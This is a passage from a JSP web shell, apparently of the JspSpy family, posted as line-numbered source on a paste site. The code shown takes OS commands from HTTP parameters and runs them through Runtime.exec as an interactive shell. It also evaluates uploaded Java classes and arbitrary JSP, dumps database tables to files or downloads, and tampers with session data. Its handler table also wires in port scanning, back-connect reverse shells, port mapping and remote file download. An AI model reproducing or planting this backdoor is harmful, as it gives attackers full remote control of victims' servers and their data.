  2884. private static class OnLineInvoker extends DefaultInvoker {
  2885. public boolean doBefore(){return false;}
  2886. public boolean doAfter(){return false;}
  2887. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2888. try {
  2889. String type = request.getParameter("type");
  2890. if (Util.isEmpty(type))
  2891. return;
  2892. if (type.toLowerCase().equals("start")) {
  2893. String exe = request.getParameter("exe");
  2894. if (Util.isEmpty(exe))
  2895. return;
  2896. Process pro = Runtime.getRuntime().exec(exe);
  2897. ByteArrayOutputStream outs = new ByteArrayOutputStream();
  2898. response.setContentLength(100000000);
  2899. response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
  2900. OnLineProcess olp = new OnLineProcess(pro);
  2901. JSession.setAttribute(SHELL_ONLINE,olp);
  2902. new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
  2903. new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
  2904. new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
  2905. Thread.sleep(1000 * 60 * 60 * 24);
  2906. } else if (type.equals("ecmd")) {
  2907. Object o = JSession.getAttribute(SHELL_ONLINE);
  2908. String cmd = request.getParameter("cmd");
  2909. if (Util.isEmpty(cmd))
  2910. return;
  2911. if (o == null)
  2912. return;
  2913. OnLineProcess olp = (OnLineProcess)o;
  2914. olp.setCmd(cmd);
  2915. } else {
  2916. Object o = JSession.getAttribute(SHELL_ONLINE);
  2917. if (o == null)
  2918. return;
  2919. OnLineProcess olp = (OnLineProcess)o;
  2920. olp.stop();
  2921. }
  2922. } catch (Exception e) {
  2923.  
  2924. throw e;
  2925. }
  2926. }
  2927. }
  2928. private static class EnterInvoker extends DefaultInvoker {
  2929. public boolean doBefore(){return false;}
  2930. public boolean doAfter(){return false;}
  2931. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2932. PrintWriter out = response.getWriter();
  2933. String type = request.getParameter("type");
  2934. if (!Util.isEmpty(type)) {
  2935. JSession.removeAttribute(ENTER);
  2936. JSession.removeAttribute(ENTER_MSG);
  2937. JSession.removeAttribute(ENTER_CURRENT_DIR);
  2938. JSession.setAttribute(MSG,"Exit File Success ! ");
  2939. } else {
  2940. String f = request.getParameter("filepath");
  2941. if (Util.isEmpty(f))
  2942. return;
  2943. JSession.setAttribute(ENTER,f);
  2944. JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
  2945. }
  2946. response.sendRedirect(SHELL_NAME);
  2947. }
  2948. }
  2949. private static class VExport2FileInvoker extends DefaultInvoker {
  2950. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2951. PrintWriter out = response.getWriter();
  2952. String type = request.getParameter("type");
  2953. String sql = request.getParameter("sql");
  2954. String table = request.getParameter("table");
  2955. if (Util.isEmpty(sql) && Util.isEmpty(table)) {
  2956. JSession.setAttribute(SESSION_O,"vConn");
  2957. response.sendRedirect(SHELL_NAME);
  2958. return;
  2959. }
  2960. out.println("<form action=\"\" method=\"post\">"+
  2961. "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2962. " <tr>"+
  2963. " <td>"+
  2964. " <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
  2965. " <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
  2966. " <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","&quot;"))+"\"/>"+
  2967. " <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
  2968. " <h2>Export To File &raquo;</h2>"+
  2969. " "+
  2970. " <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","&quot;"))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/>"+
  2971. " <select name='encode' class='input'><option value=''>ANSI</option><option value='GBK'>GBK</option><option value='UTF-8'>UTF-8</option><option value='ISO-8859-1'>ISO-8859-1</option></select>"+
  2972. " <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
  2973. " </tr>"+
  2974. " </table>"+
  2975. "</form>");
  2976. }
  2977. }
  2978.  
  2979. private static class ExportInvoker extends DefaultInvoker {
  2980. public boolean doBefore(){return false;}
  2981. public boolean doAfter(){return false;}
  2982. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2983. String type = request.getParameter("type");
  2984. String filepath = request.getParameter("filepath");
  2985. String encode = request.getParameter("encode");
  2986. String sql = null;
  2987. DBOperator dbo = null;
  2988. dbo = (DBOperator)JSession.getAttribute(DBO);
  2989.  
  2990. if (Util.isEmpty(type)) {
  2991. //table export
  2992. String tb = request.getParameter("table");
  2993. if (Util.isEmpty(tb))
  2994. return;
  2995. String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
  2996. sql = "select * from "+s+tb+s;
  2997.  
  2998. } else if (type.equals("queryexp")) {
  2999. //query export
  3000. sql = request.getParameter("sql");
  3001. if (Util.isEmpty(sql)) {
  3002. JSession.setAttribute(SESSION_O,"vConn");
  3003. response.sendRedirect(SHELL_NAME);
  3004. return;
  3005. }
  3006. }
  3007. Object o = dbo.execute(sql);
  3008. ByteArrayOutputStream bout = new ByteArrayOutputStream();
  3009. byte[] rowSep = "\r\n".getBytes();
  3010. if (o instanceof ResultSet) {
  3011. ResultSet rs = (ResultSet)o;
  3012. ResultSetMetaData meta = rs.getMetaData();
  3013. int count = meta.getColumnCount();
  3014. for (int i =1;i<=count;i++) {
  3015. String colName = meta.getColumnName(i)+"\t";
  3016. byte[] b = null;
  3017. if (Util.isEmpty(encode))
  3018. b = colName.getBytes();
  3019. else
  3020. b = colName.getBytes(encode);
  3021. bout.write(b,0,b.length);
  3022. }
  3023. bout.write(rowSep,0,rowSep.length);
  3024. while (rs.next()) {
  3025. for (int i =1;i<=count;i++) {
  3026. String v = null;
  3027. try {
  3028. v = rs.getString(i);
  3029. } catch (SQLException ex) {
  3030. v = "<<Error!>>";
  3031. }
  3032. v += "\t";
  3033. byte[] b = null;
  3034. if (Util.isEmpty(encode))
  3035. b = v.getBytes();
  3036. else
  3037. b = v.getBytes(encode);
  3038. bout.write(b,0,b.length);
  3039. }
  3040. bout.write(rowSep,0,rowSep.length);
  3041. }
  3042. rs.close();
  3043. ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
  3044. BufferedOutputStream output = null;
  3045. if (!Util.isEmpty(filepath)) {
  3046. //export2file
  3047. output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
  3048. } else {
  3049. //download.
  3050. response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
  3051. output = new BufferedOutputStream(response.getOutputStream());
  3052. }
  3053. byte[] data = new byte[1024];
  3054. int len = input.read(data);
  3055. while (len != -1) {
  3056. output.write(data,0,len);
  3057. len = input.read(data);
  3058. }
  3059. bout.close();
  3060. input.close();
  3061. output.close();
  3062. if (!Util.isEmpty(filepath)) {
  3063. JSession.setAttribute(MSG,"Export To File Success !");
  3064. response.sendRedirect(SHELL_NAME);
  3065. }
  3066. }
  3067. }
  3068. }
  3069. private static class EvalInvoker extends DefaultInvoker {
  3070. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3071. String type = request.getParameter("type");
  3072. PrintWriter out = response.getWriter();
  3073. Object msg = JSession.getAttribute(MSG);
  3074. if (msg != null) {
  3075. Util.outMsg(out,(String)msg);
  3076. JSession.removeAttribute(MSG);
  3077. }
  3078. if (Util.isEmpty(type)) {
  3079. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3080. " <tr>"+
  3081. " <td><h2>Eval Java Code &raquo;</h2>"+
  3082. "<hr/>"+
  3083. " <p>"+
  3084. " <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\" enctype=\"multipart/form-data\">"+
  3085. "UpLoad a Class File : ");
  3086. Util.outMsg(out,"<pre>"+
  3087. "<span style='color:blue'>public class</span> SpyEval{\r\n"+
  3088. " <span style='color:blue'>static</span> {\r\n"+
  3089. " <span style='color:green'>//Your Code Here.</span>\r\n"+
  3090. " }\r\n"+
  3091. "}\r\n"+
  3092. "</pre>","left");
  3093. out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
  3094. " <form action=\""+SHELL_NAME+"\" method=\"post\"><p></p>Jsp Eval : <br/>"+
  3095. " <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
  3096. " <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
  3097. " <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\" />"+
  3098. " </form>"+
  3099. " </p>"+
  3100. " </td>"+
  3101. " </tr>"+
  3102. "</table>");
  3103. } else if (type.equals("jsp")){
  3104. String jspc = request.getParameter("jspc");
  3105. if (Util.isEmpty(jspc))
  3106. return;
  3107. File f = new File(SHELL_DIR,"evaltmpninty.jsp");
  3108. BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
  3109. writer.write(jspc,0,jspc.length());
  3110. writer.flush();
  3111. writer.close();
  3112. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3113. " <tr>"+
  3114. " <td><h2>Jsp Eval Result &raquo;</h2>");
  3115. out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
  3116. request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
  3117. out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
  3118. f.delete();
  3119. }
  3120. }
  3121. }
  3122. private static class EvalUploadInvoker extends DefaultInvoker {
  3123. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3124. ByteArrayOutputStream stream = new ByteArrayOutputStream();
  3125. UploadBean upload = new UploadBean();
  3126. upload.setTargetOutput(stream);
  3127. upload.parseRequest(request);
  3128.  
  3129. if (stream.toByteArray().length == 2) {
  3130. JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
  3131. ((Invoker)ins.get("ev")).invoke(request,response,JSession);
  3132. return;
  3133. }
  3134. SpyClassLoader loader = new SpyClassLoader();
  3135. try {
  3136. Class c = loader.defineClass(null,stream.toByteArray());
  3137. c.newInstance();
  3138. }catch(Exception e) {
  3139. }
  3140. stream.close();
  3141. JSession.setAttribute(MSG,"Eval Java Class Done ! ");
  3142. ((Invoker)ins.get("ev")).invoke(request,response,JSession);
  3143. }
  3144. }
  3145. private static class VOtherInvoker extends DefaultInvoker {
  3146. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3147. try {
  3148. PrintWriter out = response.getWriter();
  3149. Object msg = JSession.getAttribute(MSG);
  3150. if (msg != null) {
  3151. Util.outMsg(out,(String)msg);
  3152. JSession.removeAttribute(MSG);
  3153. }
  3154. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3155. " <tr>"+
  3156. " <td><h2 id=\"Bin_H2_Title\">Session Manager&gt;&gt;</h2><hr/>"+
  3157. " <div id=\"hOWTm\" style=\"line-height:30px\">"+
  3158. " <ul>");
  3159. Enumeration en = JSession.getAttributeNames();
  3160. while (en.hasMoreElements()) {
  3161. Object o = en.nextElement();
  3162. if (o.toString().equals(MSG))
  3163. continue;
  3164. out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
  3165. out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
  3166. out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
  3167. out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
  3168. out.println("</form></li>");
  3169. }
  3170. out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
  3171. "<legend>New Session Attribute</legend>"+
  3172. "name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
  3173. " name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
  3174. " </fieldset></form></li></ul></div></td>"+
  3175. " </tr>"+
  3176. " </table>");
  3177. } catch (Exception e) {
  3178. throw e ;
  3179. }
  3180. }
  3181. }
  3182. //Session Manager
  3183. private static class SmInvoker extends DefaultInvoker {
  3184. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3185. try {
  3186. String type = request.getParameter("type");
  3187. PrintWriter out = response.getWriter();
  3188. if (type.equals("update")) {
  3189. String name = request.getParameter("name");
  3190. String value = request.getParameter("value");
  3191. JSession.setAttribute(name,value);
  3192. JSession.setAttribute(MSG,"Update/Add Attribute Success !");
  3193. } else if (type.equals("delete")) {
  3194. String name = request.getParameter("name");
  3195. JSession.removeAttribute(name);
  3196. JSession.setAttribute(MSG,"Remove Attribute Success !");
  3197. }
  3198. ((Invoker)ins.get("vother")).invoke(request,response,JSession);
  3199. } catch (Exception e) {
  3200.  
  3201. throw e ;
  3202. }
  3203. }
  3204. }
  3205.  
  3206. static{
  3207. ins.put("script",new ScriptInvoker());
  3208. ins.put("before",new BeforeInvoker());
  3209. ins.put("after",new AfterInvoker());
  3210. ins.put("deleteBatch",new DeleteBatchInvoker());
  3211. ins.put("clipboard",new ClipBoardInvoker());
  3212. ins.put("vPortScan",new VPortScanInvoker());
  3213. ins.put("portScan",new PortScanInvoker());
  3214. ins.put("vConn",new VConnInvoker());
  3215. ins.put("dbc",new DbcInvoker());
  3216. ins.put("executesql",new ExecuteSQLInvoker());
  3217. ins.put("vLogin",new VLoginInvoker());
  3218. ins.put("login",new LoginInvoker());
  3219. ins.put("filelist", new FileListInvoker());
  3220. ins.put("logout",new LogoutInvoker());
  3221. ins.put("upload",new UploadInvoker());
  3222. ins.put("copy",new CopyInvoker());
  3223. ins.put("bottom",new BottomInvoker());
  3224. ins.put("vCreateFile",new VCreateFileInvoker());
  3225. ins.put("vEdit",new VEditInvoker());
  3226. ins.put("createFile",new CreateFileInvoker());
  3227. ins.put("vEditProperty",new VEditPropertyInvoker());
  3228. ins.put("editProperty",new EditPropertyInvoker());
  3229. ins.put("vs",new VsInvoker());
  3230. ins.put("shell",new ShellInvoker());
  3231. ins.put("down",new DownInvoker());
  3232. ins.put("vd",new VdInvoker());
  3233. ins.put("downRemote",new DownRemoteInvoker());
  3234. ins.put("index",new IndexInvoker());
  3235. ins.put("mkdir",new MkDirInvoker());
  3236. ins.put("move",new MoveInvoker());
  3237. ins.put("removedir",new RemoveDirInvoker());
  3238. ins.put("packBatch",new PackBatchInvoker());
  3239. ins.put("pack",new PackInvoker());
  3240. ins.put("unpack",new UnPackInvoker());
  3241. ins.put("vmp",new VmpInvoker());
  3242. ins.put("vbc",new VbcInvoker());
  3243. ins.put("backConnect",new BackConnectInvoker());
  3244. ins.put("jspEnv",new JspEnvInvoker());
  3245. ins.put("smp",new SmpInvoker());
  3246. ins.put("mapPort",new MapPortInvoker());
  3247. ins.put("top",new TopInvoker());
  3248. ins.put("vso",new VOnLineShellInvoker());
  3249. ins.put("online",new OnLineInvoker());
  3250. ins.put("enter",new EnterInvoker());
  3251. ins.put("export",new ExportInvoker());
  3252. ins.put("ev",new EvalInvoker());
  3253. ins.put("eu",new EvalUploadInvoker());
  3254. ins.put("vother",new VOtherInvoker());
  3255. ins.put("sm",new SmInvoker());
  3256. ins.put("vExport",new VExport2FileInvoker());
  3257. ins.put("vPack",new VPackConfigInvoker());
  3258. ins.put("reflect",new ReflectInvoker());
  3259. ins.put("portBack",new PortBackInvoker());
  3260. }
  3261. %>
  3262. <%
  3263. try {
  3264. String o = request.getParameter("o");
  3265. if (Util.isEmpty(o)) {
  3266. if (session.getAttribute(SESSION_O) == null)
  3267. o = "index";
  3268. else {
  3269. o = session.getAttribute(SESSION_O).toString();
  3270. session.removeAttribute(SESSION_O);
  3271. }
  3272. }
  3273. Object obj = ins.get(o);
  3274. if (obj == null) {
  3275. response.sendRedirect(SHELL_NAME);
  3276. } else {
  3277. Invoker in = (Invoker)obj;
  3278. if (in.doBefore()) {
  3279. String path = request.getParameter("folder");
  3280. if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
  3281. session.setAttribute(CURRENT_DIR,path);
  3282. ((Invoker)ins.get("before")).invoke(request,response,session);
  3283. ((Invoker)ins.get("script")).invoke(request,response,session);
  3284. ((Invoker)ins.get("top")).invoke(request,response,session);
  3285. }
  3286. in.invoke(request,response,session);
  3287. if (!in.doAfter()) {
  3288. return;
  3289. }else{
  3290. ((Invoker)ins.get("bottom")).invoke(request,response,session);
  3291. ((Invoker)ins.get("after")).invoke(request,response,session);
  3292. }
  3293. }
  3294. } catch (Exception e) {
  3295. Object msg = session.getAttribute(MSG);
  3296. if (msg != null) {
  3297. Util.outMsg(out,(String)msg);
  3298. session.removeAttribute(MSG);
  3299. }
  3300. if (e.toString().indexOf("ClassCastException") != -1) {
  3301. Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
  3302. }
  3303. ByteArrayOutputStream bout = new ByteArrayOutputStream();
  3304. e.printStackTrace(new PrintStream(bout));
  3305. session.setAttribute(CURRENT_DIR,SHELL_DIR);
  3306. Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
  3307. bout.close();
  3308. out.flush();
  3309. ((Invoker)ins.get("bottom")).invoke(request,response,session);
  3310. ((Invoker)ins.get("after")).invoke(request,response,session);
  3311. }
  3312. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement